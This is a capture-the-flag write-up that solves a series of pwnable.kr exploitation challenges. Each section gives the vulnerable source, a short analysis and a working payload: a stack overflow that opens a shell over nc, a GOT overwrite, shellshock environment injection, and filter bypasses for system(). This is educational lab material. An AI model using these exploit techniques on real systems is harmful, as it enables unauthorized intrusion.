fd

Mommy! what is a file descriptor in Linux?

ssh fd@pwnable.kr -p2222 (pw:guest)


The source code is provided:

/* fd.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]) {
  if (argc < 2) {
    printf("pass argv[1] a number\n");
    return 0;
  }
  int fd = atoi(argv[1]) - 0x1234;
  int len = 0;
  len = read(fd, buf, 32);
  if (!strcmp("LETMEWIN\n", buf)) {
    printf("good job :)\n");
    system("/bin/cat flag");
    exit(0);
  }
  printf("learn about Linux file IO\n");
  return 0;
}


That’s an easy one. The first parameter of read is decided by the first argument (which is up to our choice). The first parameter refers to the file descriptor. When it is 0, it refers to STDIN. Therefore, all we need to do is to make sure the first parameter is 0, and supply the string for comparison.

Payload

echo LETMEWIN | ./fd $(printf "%d" 0x1234)



collision

Daddy told me about cool MD5 hash collision today. I wanna do something like that too!

ssh col@pwnable.kr -p2222 (pw:guest)

The source code is provided:

/* col.c */
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p) {
  int* ip = (int*)p;
  int i;
  int res = 0;
  for (i = 0; i < 5; i++) {
    res += ip[i];
  }
  return res;
}

int main(int argc, char* argv[]) {
  if (argc < 2) {
    printf("usage : %s [passcode]\n", argv[0]);
    return 0;
  }
  if (strlen(argv[1]) != 20) {
    printf("passcode length should be 20 bytes\n");
    return 0;
  }

  if (hashcode == check_password(argv[1])) {
    system("/bin/cat flag");
    return 0;
  } else
    printf("wrong passcode.\n");
  return 0;
}

It basically waits for a string of length 20 supplied as the first argument. Then it interprets it as 5 int32 values, and checks whether the sum is equal to the hash. We can first print a bunch of \x01’s and calculate what the last int32 should be. Note that it’s little-endian.

Payload

echo -n -e "\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\
\xe8\x05\xd9\x1d" | xargs ./col



bof

Nana told me that buffer overflow is one of the most common software vulnerability. Is that true?

nc pwnable.kr 9000

/* bof.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void func(int key) {
  char overflowme[32];
  printf("overflow me : ");
  gets(overflowme);  // smash me!
  if (key == 0xcafebabe) {
    system("/bin/sh");
  } else {
    printf("Nah..\n");
  }
}
int main(int argc, char* argv[]) {
  func(0xdeadbeef);
  return 0;
}


Let’s see the assembly of func:


┌─────────────────────────────────────────────────────────────────┐
 [0x62c]                                                         
 94: sym.func (uint32_t arg_8h);                                 │
 ; var int32_t var_2ch @ ebp-0x2c                                │
 ; var int32_t var_ch @ ebp-0xc                                  │
 ; arg uint32_t arg_8h @ ebp+0x8                                 │
 ; CALL XREF from main @ 0x69a                                   │
 0x0000062c 55             push ebp                              
 0x0000062d 89e5           mov ebp, esp                          
 0x0000062f 83ec48         sub esp, 0x48                         
 0x00000632 65a114000000   mov eax, dword gs:[0x14]              
 0x00000638 8945f4         mov dword [var_ch], eax               
 0x0000063b 31c0           xor eax, eax                          
 ; [0x78c:4]=0x7265766f                                          │
 ; "overflow me : "                                              │
 0x0000063d c704248c0700.  mov dword [esp], str.overflow_me_:    
 0x00000644 e8fcffffff     call puts;[oa]                        │
 0x00000649 8d45d4         lea eax, [var_2ch]                    
 0x0000064c 890424         mov dword [esp], eax                  
 0x0000064f e8fcffffff     call gets;[ob]                        │
 0x00000654 817d08bebafe.  cmp dword [arg_8h], 0xcafebabe        
 0x0000065b 750e           jne 0x66b                             
└─────────────────────────────────────────────────────────────────┘


The difference between the address of the string of the input and the argument, key, is 0x2c + 0x8.

Payload

cat <(ruby -e 'puts ?A * (0x2c+0x8) + "\xbe\xba\xfe\xca"') - |\
  nc pwnable.kr 9000

Note that we need the weird cat <() - so that the pipe won’t close STDIN for our further access to the shell.



flag

Papa brought me a packed present! let’s open it. This is reversing task. all you need is binary

Download : http://pwnable.kr/bin/flag


Let’s see if there is any raw string that is intriguing.


❯ strings -n10 flag | grep -i upx
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.08 Copyright (C) 1996-2011 the UPX Team. All Rights Reserved. $


Now we know it’s packed, let’s decompress it with upx -d. After that, let’s read the assembly:


┌──────────────────────────────────────────────────────────────────────┐
 [0x401164]                                                           
 61: int main (int argc, char **argv, char **envp);                   │
 ; var int64_t var_8h @ rbp-0x8                                       │
 ; DATA XREF from entry0 @ 0x401075                                   │
 0x00401164 55             push rbp                                   
 0x00401165 4889e5         mov rbp, rsp                               
 0x00401168 4883ec10       sub rsp, 0x10                              
 ; const char *s                                                      │
 ; 0x496658                                                           │
 ; "I will malloc() and strcpy the flag there. take it."              │
 0x0040116c bf58664900     mov edi, str.I_will_malloc___and_strcpy_the
 ; int puts(const char *s)                                            │
 0x00401171 e80a0f0000     call sym.puts;[oa]                         │
 ; 'd'                                                                │
 ; 100                                                                │
 0x00401176 bf64000000     mov edi, 0x64                              
 ;  void *malloc(size_t size)                                         │
 0x0040117b e850880000     call sym.malloc;[ob]                       │
 0x00401180 488945f8       mov qword [var_8h], rax                    
 ; [0x6c2070:8]=0x496628 str.UPX...__sounds_like_a_delivery_service_: │
 ; "(fI"                                                              │
 0x00401184 488b15e50e2c.  mov rdx, qword [obj.flag]                  
 0x0040118b 488b45f8       mov rax, qword [var_8h]                    
 0x0040118f 4889d6         mov rsi, rdx                               
 0x00401192 4889c7         mov rdi, rax                               
 0x00401195 e886f1ffff     call fcn.00400320;[oc]                     │
 0x0040119a b800000000     mov eax, 0                                 
 0x0040119f c9             leave                                      
 0x004011a0 c3             ret                                        
└──────────────────────────────────────────────────────────────────────┘ 


And yeah, the flag is there…



passcode

Mommy told me to make a passcode based login system. My initial C code was compiled without any error! Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)


We have the source:

/* passcode.c */
#include <stdio.h>
#include <stdlib.h>

void login() {
  int passcode1;
  int passcode2;

  printf("enter passcode1 : ");
  scanf("%d", passcode1);
  fflush(stdin);

  // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
  printf("enter passcode2 : ");
  scanf("%d", passcode2);

  printf("checking...\n");
  if (passcode1 == 338150 && passcode2 == 13371337) {
    printf("Login OK!\n");
    system("/bin/cat flag");
  } else {
    printf("Login Failed!\n");
    exit(0);
  }
}

void welcome() {
  char name[100];
  printf("enter you name : ");
  scanf("%100s", name);
  printf("Welcome %s!\n", name);
}

int main() {
  printf("Toddler's Secure Login System 1.0 beta.\n");

  welcome();
  login();

  // something after login...
  printf("Now I can safely trust you that you have credential :)\n");
  return 0;
}


We can immediately see that this is a problem:


scanf("%d", passcode1);
...
scanf("%d", passcode2);


From the layout of the variables, we can see that we might be able to control the variables by inserting appropriate values during welcome().


┌───────────────────────────────────────────────────────────────┐
 [0x8048564]                                                   
 165: sym.login ();                                            │
 ; var uint32_t var_10h @ ebp-0x10 -> password1                │
 ; var uint32_t var_ch @ ebp-0xc                               │
 ; var int32_t var_4h @ esp+0x4                                │
 ; CALL XREF from main @ 0x804867f                             │


┌────────────────────────────────────────────────────────────┐
 [0x8048609]                                                
 92: sym.welcome ();                                        │
 ; var int32_t var_70h @ ebp-0x70 -> name                   │
 ; var int32_t canary @ ebp-0xc                             │
 ; var int32_t var_4h @ esp+0x4                             │
 ; CALL XREF from main @ 0x804867a                          │


And there we can see, the dword after the first 0x60 bytes of the name will decide the value in password1. However, since we are only allowed to write 100 bytes, and 0x60 + sizeof(dowrd) = 100, we can’t do the same thing for password2. So let’s see what we can do when password1 is under our control.


void login() {
  int passcode1;
  int passcode2;

  printf("enter passcode1 : ");
  scanf("%d", passcode1);
  fflush(stdin);
  /* ... */
}


The scanf in the context allows us to write an arbitrary dword through STDIN to any address (of which should be written into passcode1). Then there is a function call to fflush. The address to glibc function calls are resolved by a table called GOT, and we can exploit the scanf to help us modify that table so that the resolved address of fflush points to the address of our choice.


❯ readelf -a passcode | grep fflush
0804a004  00000207 R_386_JUMP_SLOT   00000000   fflush@GLIBC_2.0
     2: 00000000     0 FUNC    GLOBAL DEFAULT  UND fflush@GLIBC_2.0 (2)
    49: 00000000     0 FUNC    GLOBAL DEFAULT  UND fflush@@GLIBC_2.0


This tells us the address we want to modify is 0x0804a004.


0x080485e3 mov dword [esp], str.bin_cat_flag
0x080485ea call sym.imp.system              


And this tells us 0x080485e3~0x080485ea gives us the flag.

Payload

python -c\
  'from pwn import *; print "A"*96 + p32(0x0804a004) + str(0x080485e3)' |\
    ./passcode



random

Daddy, teach me how to use random value in programming!

ssh random@pwnable.kr -p2222 (pw:guest)


Here’s the source:

#include <stdio.h>

int main() {
  unsigned int random;
  random = rand();  // random value!

  unsigned int key = 0;
  scanf("%d", &key);

  if ((key ^ random) == 0xdeadbeef) {
    printf("Good!\n");
    system("/bin/cat flag");
    return 0;
  }

  printf("Wrong, maybe you should try 2^32 cases.\n");
  return 0;
}


Since there is no random seed, we need only to find out what’s the first random value. An easy way to do that is to write a fairly short code and run it.

random@pwnable:/tmp$ cd /tmp &&\
  echo 'main() { printf("%u", rand()); }' > x.c &&\
  gcc x.c -o x 2>/dev/null &&\
  ./x
1804289383


Then run ./random and provide the value 0xdeadbeef ^ 1804289383 in integer, which happens to be 3039230856.



input

Mom? how can I pass my input to a computer program?

ssh input2@pwnable.kr -p2222 (pw:guest)


Here’s the source:

/* input */
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>

int main(int argc, char* argv[], char* envp[]) {
  printf("Welcome to pwnable.kr\n");
  printf("Let's see if you know how to give input to program\n");
  printf("Just give me correct inputs then you will get the flag :)\n");

  // argv
  if (argc != 100) return 0;
  if (strcmp(argv['A'], "\x00")) return 0;
  if (strcmp(argv['B'], "\x20\x0a\x0d")) return 0;
  printf("Stage 1 clear!\n");

  // stdio
  char buf[4];
  read(0, buf, 4);
  if (memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
  read(2, buf, 4);
  if (memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
  printf("Stage 2 clear!\n");

  // env
  if (strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
  printf("Stage 3 clear!\n");

  // file
  FILE* fp = fopen("\x0a", "r");
  if (!fp) return 0;
  if (fread(buf, 4, 1, fp) != 1) return 0;
  if (memcmp(buf, "\x00\x00\x00\x00", 4)) return 0;
  fclose(fp);
  printf("Stage 4 clear!\n");

  // network
  int sd, cd;
  struct sockaddr_in saddr, caddr;
  sd = socket(AF_INET, SOCK_STREAM, 0);
  if (sd == -1) {
    printf("socket error, tell admin\n");
    return 0;
  }
  saddr.sin_family = AF_INET;
  saddr.sin_addr.s_addr = INADDR_ANY;
  saddr.sin_port = htons(atoi(argv['C']));
  if (bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0) {
    printf("bind error, use another port\n");
    return 1;
  }
  listen(sd, 1);
  int c = sizeof(struct sockaddr_in);
  cd = accept(sd, (struct sockaddr*)&caddr, (socklen_t*)&c);
  if (cd < 0) {
    printf("accept error, tell admin\n");
    return 0;
  }
  if (recv(cd, buf, 4, 0) != 4) return 0;
  if (memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
  printf("Stage 5 clear!\n");

  // here's your flag
  system("/bin/cat flag");
  return 0;
}


Let’s solve this with C, as I am more familar with UNIX programming in C.

argv

// argv
if (argc != 100) return 0;
if (strcmp(argv['A'], "\x00")) return 0;
if (strcmp(argv['B'], "\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");


What we want here is 100 arguments, the ‘A’‘th of which is “\x00”, and the ‘B’‘th of which is “\x20\x0a\x0d”. We can do that by passing the appropriate argument list to execve().


char *argv[101];
for (int i = 0; i < 101; ++i) argv[i] = "A";
argv['A'] = "\x00";
argv['B'] = "\x20\x0a\x0d";
argv[100] = NULL;
execve("./input", argv, NULL);

stdio

// stdio
char buf[4];
read(0, buf, 4);
if (memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if (memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");


We need file descriptor 0 (typically STDIN) to have “\x00\x0a\x00\xff”, and 2 (typically STDERR) to have “\x00\x0a\x02\xff”. Since we need our program to direct its output to the screen, and it’s better if we could just pass the strings in the program, we’d fork a child process and run ./input there so that the parent process could simply write to the required file descriptors.


The steps are:

  1. Create two pipes, one for STDIN and the other for STDERR.
  2. Fork a child process to run ./input. In the child process, its STDIN and STDERR is mapped to the pipes created in the previous step.
  3. The parent process will write the required strings through the pipes.


int p0[2], p2[2]; // pipes
pipe(p0);
pipe(p2);
pid_t pid = fork(); // Let's assume it always works
if (pid == 0) { // child process
  dup2(p0[0], 0); // STDIN maps to p0
  dup2(p2[0], 2); // STDERR maps to p2
  execve("./input", argv);
} else { // parent process writes the strings through the pipes
  write(p0[1], "\x00\x0a\x00\xff", 4);
  write(p2[1], "\x00\x0a\x02\xff", 4);
} // I'm too lazy to close things :P

envp

// env
if (strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");


We need to set the environment variable. That’s as easy as setting argv.


char *envp[] = { "\xde\xad\xbe\xef=\xca\xfe\xba\xbe", NULL };
execve("./input", argv, envp);

file

// file
FILE* fp = fopen("\x0a", "r");
if (!fp) return 0;
if (fread(buf, 4, 1, fp) != 1) return 0;
if (memcmp(buf, "\x00\x00\x00\x00", 4)) return 0;
fclose(fp);
printf("Stage 4 clear!\n");


We could have also created that file with bash, but we can do that as well in C.


FILE *fp = fopen("\x0a", "w");
fwrite("\x00\x00\x00\x00", 4, 1, fp);
fclose(fp);

network

// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if (sd == -1) {
  printf("socket error, tell admin\n");
  return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons(atoi(argv['C']));
if (bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0) {
  printf("bind error, use another port\n");
  return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr*)&caddr, (socklen_t*)&c);
if (cd < 0) {
  printf("accept error, tell admin\n");
  return 0;
}
if (recv(cd, buf, 4, 0) != 4) return 0;
if (memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");


We need to launch a client and connect with the server on ./input, through the port decided by argv[‘C’] (which is of our choice). Then we are asked to send the required string.


We could just copy most of what’s there for running the server.


int sockfd = socket(AF_INET, SOCK_STREAM, 0); // Assuming it always works
struct sockaddr_in srv = {
  .sin_family = AF_INET,
  .sin_addr.s_addr = INADDR_ANY,
  .sin_port = htons(atoi(argv['C']))
};
connect(sockfd, (const struct sockaddr *) &srv, sizeof(srv));
write(sockfd, "\xde\xad\xbe\xef", 4);
close(sockfd);


Note that we can’t run our program in the directory with the flag. However, we need to have the flag in the current directory in order to see the flag called by system(“/bin/cat flag”). To resolve this issue, we can simply create a symbolic link in the current directory.

Payload

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>

int main() {
  char *argv[101];
  for (int i = 0; i < 101; ++i) argv[i] = "A";
  argv['A'] = "\x00";
  argv['B'] = "\x20\x0a\x0d";
  argv['C'] = "7122";
  argv[100] = NULL;
  int p0[2], p2[2];
  pipe(p0);
  pipe(p2);
  pid_t pid = fork(); // Let's assume it always works
  if (pid == 0) {
    dup2(p0[0], 0);
    dup2(p2[0], 2);
    char *envp[] = { "\xde\xad\xbe\xef=\xca\xfe\xba\xbe", NULL };
    FILE *fp = fopen("\x0a", "w");
    fwrite("\x00\x00\x00\x00", 4, 1, fp);
    fclose(fp);
    execve("./input", argv, envp);
  } else {
    sleep(1);
    write(p0[1], "\x00\x0a\x00\xff", 4);
    write(p2[1], "\x00\x0a\x02\xff", 4);
    int sockfd = socket(AF_INET, SOCK_STREAM, 0); // Assuming it always works
    struct sockaddr_in srv = {
      .sin_family = AF_INET,
      .sin_addr.s_addr = INADDR_ANY,
      .sin_port = htons(atoi(argv['C']))
    };
    connect(sockfd, (const struct sockaddr *) &srv, sizeof(srv));
    write(sockfd, "\xde\xad\xbe\xef", 4);
    close(sockfd);
    sleep(1);
  }
}
// make sure ./input and ./flag exist

leg

Daddy told me I should study arm. But I prefer to study my leg! Download : http://pwnable.kr/bin/leg.c Download : http://pwnable.kr/bin/leg.asm

ssh leg@pwnable.kr -p2222 (pw:guest)


We have the source:


/* leg.c */
#include <fcntl.h>
#include <stdio.h>
int key1() { asm("mov r3, pc\n"); }
int key2() {
  asm("push	{r6}\n"
      "add	r6, pc, $1\n"
      "bx	r6\n"
      ".code   16\n"
      "mov	r3, pc\n"
      "add	r3, $0x4\n"
      "push	{r3}\n"
      "pop	{pc}\n"
      ".code	32\n"
      "pop	{r6}\n");
}
int key3() { asm("mov r3, lr\n"); }
int main() {
  int key = 0;
  printf("Daddy has very strong arm! : ");
  scanf("%d", &key);
  if ((key1() + key2() + key3()) == key) {
    printf("Congratz!\n");
    int fd = open("flag", O_RDONLY);
    char buf[100];
    int r = read(fd, buf, 100);
    write(0, buf, r);
  } else {
    printf("I have strong leg :P\n");
  }
  return 0;
}


If we know the return value of key1(), key2(), and key3(), we’ll get the flag.


; key1
0x00008cd4 <+0>:	push	{r11}	 	; (str r11, [sp, #-4]!)
0x00008cd8 <+4>:	add	r11, sp, #0
0x00008cdc <+8>:	mov	r3, pc          ; r3 = pc = 0x8cdc + 8
0x00008ce0 <+12>:	mov	r0, r3          ; r0 = r3 = 0x8ce4
0x00008ce4 <+16>:	sub	sp, r11, #0
0x00008ce8 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
0x00008cec <+24>:	bx	lr


In ARM, $pc points to the current address + 8. The return value of key1() is thus 0x8ce4.


; key2
0x00008cf0 <+0>:	push	{r11}	    ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>:	add	r11, sp, #0
0x00008cf8 <+8>:	push	{r6}	    ; (str r6, [sp, #-4]!)
0x00008cfc <+12>:	add	r6, pc, #1  ; r6 = (0x8cfc + 8) + 1
0x00008d00 <+16>:	bx	r6          ; pc = 0x8d04, instruction = THUMB
0x00008d04 <+20>:	mov	r3, pc      ; r3 = pc = 0x8d08
0x00008d06 <+22>:	adds	r3, #4      ; r3 = 0x8d0c
0x00008d08 <+24>:	push	{r3}
0x00008d0a <+26>:	pop	{pc}
0x00008d0c <+28>:	pop	{r6}        ; (ldr r6, [sp], #4)
0x00008d10 <+32>:	mov	r0, r3      ; r0 = r3 = 0x8d0c
0x00008d14 <+36>:	sub	sp, r11, #0
0x00008d18 <+40>:	pop	{r11}       ; (ldr r11, [sp], #4)
0x00008d1c <+44>:	bx	lr          ; instruction set = ARM


Notice how the length of the instructions are different? The command bx stands for “branch and exchange instruction set”. It will jump to the address in the operand and switch the instruction to either ARM or THUMB, depending on the LSB of the address. The return value of key2() is 0x8d0c.


; key3
0x00008d20 <+0>:	push	{r11}     ; (str r11, [sp, #-4]!)
0x00008d24 <+4>:	add	r11, sp, #0
0x00008d28 <+8>:	mov	r3, lr      ; r3 = lr = [return address]
0x00008d2c <+12>:	mov	r0, r3
0x00008d30 <+16>:	sub	sp, r11, #0
0x00008d34 <+20>:	pop	{r11}       ; (ldr r11, [sp], #4)
0x00008d38 <+24>:	bx	lr
; main
0x00008d7c <+64>:	bl	0x8d20 <key3>
0x00008d80 <+68>:	mov	r3, r0      ; <- the return address is here


lr refers to the return address from the function, that’s the address of the instruction right after the call, which is 0x8d80.


So the answer is 0x8ce4 + 0x8d0c + 0x8d80 = 108400


mistake

We all make mistakes, let’s move on. hint : operator priority

ssh mistake@pwnable.kr -p2222 (pw:guest)


The source:


/* mistake.c */
#include <fcntl.h>
#include <stdio.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len) {
  int i;
  for (i = 0; i < len; i++) {
    s[i] ^= XORKEY;
  }
}

int main(int argc, char* argv[]) {
  int fd;
  if (fd = open("/home/mistake/password", O_RDONLY, 0400) < 0) {
    printf("can't open password %d\n", fd);
    return 0;
  }

  printf("do not bruteforce...\n");
  sleep(time(0) % 20);

  char pw_buf[PW_LEN + 1];
  int len;
  if (!(len = read(fd, pw_buf, PW_LEN) > 0)) {
    printf("read error\n");
    close(fd);
    return 0;
  }

  char pw_buf2[PW_LEN + 1];
  printf("input password : ");
  scanf("%10s", pw_buf2);

  // xor your input
  xor(pw_buf2, 10);

  if (!strncmp(pw_buf, pw_buf2, PW_LEN)) {
    printf("Password OK\n");
    system("/bin/cat flag\n");
  } else {
    printf("Wrong Password\n");
  }

  close(fd);
  return 0;
}


Let’s see what it does in the beginning.


if (fd = open("/home/mistake/password", O_RDONLY, 0400) < 0) {
  printf("can't open password %d\n", fd);
  return 0;
}


As long as “/home/mistake/password” is readable, open() will return a non-negative value, and thus fd will be 0 (false). The file descriptor, 0, refers to STDIN. That makes the following read() take a string of length 10 from STDIN to pw_buf[]. Then, every byte is xored by 1, and compared with another string of length 10 fed in to STDIN.


So, just prepare two adjacent characters on the ASCII table (works 50%), each repeated 10 times.

Payload

echo 'ccccccccccbbbbbbbbbb' | ./mistake

shellshock

Mommy, there was a shocking news about bash. I bet you already know, but lets just make it sure :)

ssh shellshock@pwnable.kr -p2222 (pw:guest)


The source:


/* shellshock.c */
#include <stdio.h>
int main() {
  setresuid(getegid(), getegid(), getegid());
  setresgid(getegid(), getegid(), getegid());
  system("/home/shellshock/bash -c 'echo shock_me'");
  return 0;
}


As the name of the challenge suggests, it’s the vulnerability in bash that was discovered in 2014.


When bash executes something, it loads environment variables. However, the bug was that if an environment variable was a function definition, whatever follows it is executed :P

Payload

x='() { :; }; /bin/cat flag' ./shellshock

coin1

Mommy, I wanna play a game!

Running at : nc pwnable.kr 9007


This is what you will see:


❯ nc pwnable.kr 9007

        ---------------------------------------------------
        -              Shall we play a game?              -
        ---------------------------------------------------

        You have given some gold coins in your hand
        however, there is one counterfeit coin among them
        counterfeit coin looks exactly same as real coin
        however, its weight is different from real one
        real coin weighs 10, counterfeit coin weighes 9
        help me to find the counterfeit coin with a scale
        if you find 100 counterfeit coins, you will get reward :)
        FYI, you have 60 seconds.

        - How to play -
        1. you get a number of coins (N) and number of chances (C)
        2. then you specify a set of index numbers of coins to be weighed
        3. you get the weight information
        4. 2~3 repeats C time, then you give the answer

        - Example -
        [Server] N=4 C=2        # find counterfeit among 4 coins with 2 trial
        [Client] 0 1            # weigh first and second coin
        [Server] 20                     # scale result : 20
        [Client] 3                      # weigh fourth coin
        [Server] 10                     # scale result : 10
        [Client] 2                      # counterfeit coin is third!
        [Server] Correct!

        - Ready? starting in 3 sec... -


We can simply do a binary search… The problem is, the connection is too slow to pass this in time. So we’d better run the script in the server. Here I am using python because it’s the only language with pwnlib installed on the server…

Payload

from pwn import *

z = remote('0', 9007)
z.recv(1<<15)
for t in range(100):
    n, c = map(lambda s: int(s.split('=')[1]), z.recv(64).strip().split())
    l, u = 0, n
    while u - l > 1:
        c -= 1
        m = l + u >> 1
        z.sendline(' '.join(list(map(str, range(l, m)))))
        if z.recv(64).strip()[-1] == '0': l = m
        else: u = m
    for _ in range(c + 1):
        z.sendline(str(l))
        print(z.recv(64))
print(z.recv(64))
z.close()

blackjack

Hey! check out this C implementation of blackjack game! I found it online I like to give my flags to millionares. how much money you got?

Running at : nc pwnable.kr 9009


We are interested in how the money variable is modifed during the games. The following is the logic of how the cash is determined after a loss.


/* Line 573-581 */
if(p>21) //If player total is over 21, loss
{
    printf("\nWoah Buddy, You Went WAY over.\n");
    loss = loss+1;
    cash = cash - bet;
    printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
    dealer_total=0;
    askover();
}


And this is the logic of how the variable “bet” is determined.


/* Line 721-734 */
int betting() //Asks user amount to bet
{
 printf("\n\nEnter Bet: $");
 scanf("%d", &bet);
 
 if (bet > cash) //If player tries to bet more money than player has
 {
        printf("\nYou cannot bet more money than you have.");
        printf("\nEnter Bet: ");
        scanf("%d", &bet);
        return bet;
 }
 else return bet;
} // End Function


The only restriction on “bet” is that it can’t be greater than “cash”, thus we can simply put a negative number so that when we lose, we would instead receive that amount of money.

Payload

echo 'Y\n1\n-1000000\nS\nY\nN\n' | nc pwnable.kr 9009

lotto

Mommy! I made a lotto program for my homework. do you want to play?

ssh lotto@pwnable.kr -p2222


The source:


/* lotto.c */
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char submit[6];

void play() {
  int i;
  printf("Submit your 6 lotto bytes : ");
  fflush(stdout);

  int r;
  r = read(0, submit, 6);

  printf("Lotto Start!\n");
  // sleep(1);

  // generate lotto numbers
  int fd = open("/dev/urandom", O_RDONLY);
  if (fd == -1) {
    printf("error. tell admin\n");
    exit(-1);
  }
  unsigned char lotto[6];
  if (read(fd, lotto, 6) != 6) {
    printf("error2. tell admin\n");
    exit(-1);
  }
  for (i = 0; i < 6; i++) {
    lotto[i] = (lotto[i] % 45) + 1;  // 1 ~ 45
  }
  close(fd);

  // calculate lotto score
  int match = 0, j = 0;
  for (i = 0; i < 6; i++) {
    for (j = 0; j < 6; j++) {
      if (lotto[i] == submit[j]) {
        match++;
      }
    }
  }

  // win!
  if (match == 6) {
    system("/bin/cat flag");
  } else {
    printf("bad luck...\n");
  }
}

void help() {
  printf("- nLotto Rule -\n");
  printf("nlotto is consisted with 6 random natural numbers less than 46\n");
  printf("your goal is to match lotto numbers as many as you can\n");
  printf("if you win lottery for *1st place*, you will get reward\n");
  printf("for more details, follow the link below\n");
  printf(
      "http://www.nlotto.co.kr/"
      "counsel.do?method=playerGuide#buying_guide01\n\n");
  printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]) {
  // menu
  unsigned int menu;

  while (1) {
    printf("- Select Menu -\n");
    printf("1. Play Lotto\n");
    printf("2. Help\n");
    printf("3. Exit\n");

    scanf("%d", &menu);

    switch (menu) {
      case 1:
        play();
        break;
      case 2:
        help();
        break;
      case 3:
        printf("bye\n");
        return 0;
      default:
        printf("invalid menu\n");
        break;
    }
  }
  return 0;
}


First, we can see that the password is decided by random (range [1, 45]):


for (i = 0; i < 6; i++) {
  lotto[i] = (lotto[i] % 45) + 1;  // 1 ~ 45
}


Next, the comparison is pairwise:


// calculate lotto score
int match = 0, j = 0;
for (i = 0; i < 6; i++) {
  for (j = 0; j < 6; j++) {
    if (lotto[i] == submit[j]) {
      match++;
    }
  }
}


That means, “match” can be any value in [0, 36]. In order to get the flag, we have to have match exactly 6. One feasible way is to feed in 6 same characters in the range. This way, if that character appears in the randomly generated 6 bytes exactly once, the match will be 6. The odds turns out be: \(\frac{6\times44^5}{45^6} = 0.12\).

Payload

from pwn import *
from time import sleep

z = process('/home/lotto/lotto')
z.recv(1<<15)
for _ in range(100):
    z.sendline('1')
    z.recv(256)
    z.sendline('\x01' * 6)
    sleep(0.1)
    r = z.recv(256).strip()
    if "bad luck..." not in r:
        print(r)
        break
z.close()

cmd1

Mommy! what is PATH environment in Linux?

ssh cmd1@pwnable.kr -p2222 (pw:guest)


The source:


/* cmd1.c */
#include <stdio.h>
#include <string.h>

int filter(char* cmd) {
  int r = 0;
  r += strstr(cmd, "flag") != 0;
  r += strstr(cmd, "sh") != 0;
  r += strstr(cmd, "tmp") != 0;
  return r;
}
int main(int argc, char* argv[], char** envp) {
  putenv("PATH=/thankyouverymuch");
  if (filter(argv[1])) return 0;
  system(argv[1]);
  return 0;
}


It executes the first argument, as long as it doesn’t contain any of “flag”, “sh”, and “tmp”. The PATH is set to some weird place, so we need to call what we need with absolute path.

Payload

./cmd1 '/bin/cat fla*'

cmd2

Daddy bought me a system command shell. but he put some filters to prevent me from playing with it without his permission… but I wanna play anytime I want!

ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)


The source:


#include <stdio.h>
#include <string.h>

int filter(char* cmd) {
  int r = 0;
  r += strstr(cmd, "=") != 0;
  r += strstr(cmd, "PATH") != 0;
  r += strstr(cmd, "export") != 0;
  r += strstr(cmd, "/") != 0;
  r += strstr(cmd, "`") != 0;
  r += strstr(cmd, "flag") != 0;
  return r;
}

extern char** environ;
void delete_env() {
  char** p;
  for (p = environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp) {
  delete_env();
  putenv("PATH=/no_command_execution_until_you_become_a_hacker");
  if (filter(argv[1])) return 0;
  printf("%s\n", argv[1]);
  system(argv[1]);
  return 0;
}


This time we can’t have ‘/’ in our command, and utilities we need for reading the flag are not in the path.


However, there are some commands and keywords that are builtin, and is accessible regardless of the PATH. For example, “continue”, “break”, “cd”, and so on. One of them, “command”, has the capibility of finding standard utilities when the flag “-p” is on.

Payload

./cmd2 "command -p cat fla*"